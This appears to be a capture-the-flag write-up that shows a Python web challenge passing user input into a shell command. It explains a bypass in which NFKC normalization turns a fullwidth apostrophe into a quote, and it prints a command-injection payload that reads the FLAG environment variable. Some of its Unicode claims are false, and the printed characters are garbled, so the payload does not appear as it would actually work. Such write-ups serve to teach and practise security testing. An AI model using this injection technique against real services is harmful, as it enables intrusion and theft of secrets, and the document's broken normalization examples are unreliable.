Ghost whisper
A mysterious website lets you whisper to ghosts. But can you shatter the veil of silence and make your own voice heard?
Challenge Overview
This code will be run before each request, you can use it to setup the context of the python execution.
import os
os.chdir('tmp')
os.mkdir('templates')
os.environ["FLAG"] = flag
with open('templates/index.html', 'w') as f:
f.write('''
...SNIP...
'''.strip())
We have access to a web application that takes user input and executes it in a shell command. The source code is provided:
import os, unicodedata
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader
template = Environment(
autoescape=True,
loader=FileSystemLoader('/tmp/templates'),
).get_template('index.html')
os.chdir('/tmp')
def main():
whisperMsg = unquote("{input}")
# Normalize dangerous characters
whisperMsg = unicodedata.normalize("NFKC", whisperMsg.replace("'", "_"))
# Run a command and capture its output
with os.popen(f"echo -n '{whisperMsg}' | hexdump") as stream:
hextext = f"{stream.read()} | {whisperMsg}"
print( template.render(msg=whisperMsg, hextext=hextext) )
main()

Vulnerability Analysis
Execution Flow
1. User input is URL decoded with unquote()
whisperMsg = unquote("{input}")
2. Single quotes ' are replaced with underscores _
whisperMsg.replace("'", "_")
3. Unicode NFKC normalization is applied
whisperMsg = unicodedata.normalize("NFKC", whisperMsg.replace("'", "_"))
4. Input is inserted into a shell command
# Run a command and capture its output
with os.popen(f"echo -n '{whisperMsg}' | hexdump") as stream:
hextext = f"{stream.read()} | {whisperMsg}"
The Problem
The code attempts to prevent command injection by removing single quotes, but the order of operations is critical:
Input → replace("'", "_") → normalize("NFKC") → Shell command
NFKC normalization happens AFTER quote replacement, which creates a bypass opportunity.
Unicode NFKC Normalization
According to the Python documentation:
The normal form KC (NFKC) first applies the compatibility decomposition, followed by the canonical composition.
Concrete Example
>>> import unicodedata
>>> unicodedata.normalize("NFKC", 'Ⅷ')
'VIII'
The Roman numeral Ⅷ́ is normalized to VIII (Latin letters).
The vulnerability
Certain Unicode characters are normalized to single quotes ' by NFKC:
| Character | Unicode | Code Name |
|---|---|---|
| ' | U+FF07 | FULLWIDTH APOSTROPHE |
Example
>>> import unicodedata
>>> unicodedata.normalize("NFKC", "ʹ")
"'"
>>> unicodedata.normalize("NFKC", "ʼ")
"'"
Exploitation
Payload Construction
To inject a command, we must:
- Close the echo command string
- Execute our command
- Reopen the string to avoid syntax errors
Example of payload:
'; <command> #
Where ' is U+FF07 (FULLWIDTH APOSTROPHE) which normalizes to '.
Flag
'; echo $FLAG #
Results:
